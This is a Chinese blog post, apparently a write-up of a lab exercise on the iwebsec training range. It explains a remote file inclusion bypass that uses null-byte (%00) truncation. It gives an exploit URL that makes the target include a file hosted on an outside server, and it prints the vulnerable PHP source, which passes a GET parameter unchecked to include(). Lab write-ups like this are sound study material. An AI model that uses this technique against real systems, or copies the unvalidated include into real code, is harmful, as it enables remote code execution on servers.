2023-08-20 12:36阅读: 243评论: 0推荐: 0

iwebsec-文件包含 05 远程文件包含绕过

25.iwebsec-文件包含 05 远程文件包含绕过2023-08-20

26.iwebsec-文件包含 06 php://filter伪协议2023-08-20 27.iwebsec-文件包含 07 php://input伪协议2023-08-20 28.iwebsec-文件包含 08 php://input伪协议利用2023-08-20 29.iwebsec-文件包含 09 file://伪协议利用2023-08-20 30.iwebsec-文件包含 10 data://伪协议利用2023-08-20 31.iwebsec-xss 01 反射型xss2023-08-21 32.iwebsec-xss 02 存储型xss2023-08-21 33.iwebsec-xss 03 DOM型xss2023-08-21 34.iwebsec-xss 04 xss修复示例2023-08-21

01、题目分析

程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，

直接调用此文件，而无须再次编写，这种调用文件的过程一般被称为文件包含。

在包含文件的过程中，如果文件能进行控制，则存储文件包含漏洞

如果服务器开启了远程访问文件功能，那么就可以利用文件包含漏洞下载存储在其他服务器上的文件来实现任意文件执行

这一题相比较于上一题只是给访问的文件添加后缀，因此我们只需要采用%00截断后面的后缀即可

02、文件包含

但是我的报错了，为啥，因为我的靶场是搭建在云服务器上的，上面的那个127.0.0.1是本机巡回地址，使用的前提是搭建网站的服务器和自己电脑处在同一局域网下，那么因此我只能换成外网服务器来进行任意文件上传

 http://www.bdrwmy.cn:8001/fi/05.php?filename=http://114.115.167.13/1.txt%00

03、源码分析

 <?php
	if(isset($_GET['filename'])){ // 检查是否设置了 'filename' 参数
	    $filename  = $_GET['filename']; // 获取 'filename' 参数的值，并赋给 $filename 变量
	    include($filename . ".html"); // 包含指定的文件内容，文件名为参数值拼接上 ".html" 后缀
	}else{
		exit(); // 如果未设置 'filename' 参数，则退出脚本执行
	}
?>

上一篇iwebsec-文件包含 04 文件头过滤绕过

下一篇iwebsec-文件包含 06 php://filter伪协议

posted @ 2023-08-20 12:36 别打扰我摸鱼阅读(243) 评论(0) 编辑收藏举报

刷新页面返回顶部

登录后才能查看或发表评论，立即登录或者逛逛博客园首页

bdrwmy

iwebsec-文件包含 05 远程文件包含绕过

01、题目分析

02、文件包含

03、源码分析

公告

常用链接

我的标签

合集

随笔分类

随笔档案

文章分类

相册

阅读排行榜

	<?php
	if(isset($_GET['filename'])){ // 检查是否设置了 'filename' 参数
	$filename = $_GET['filename']; // 获取 'filename' 参数的值，并赋给 $filename 变量
	include($filename . ".html"); // 包含指定的文件内容，文件名为参数值拼接上 ".html" 后缀
	}else{
	exit(); // 如果未设置 'filename' 参数，则退出脚本执行
	}
	?>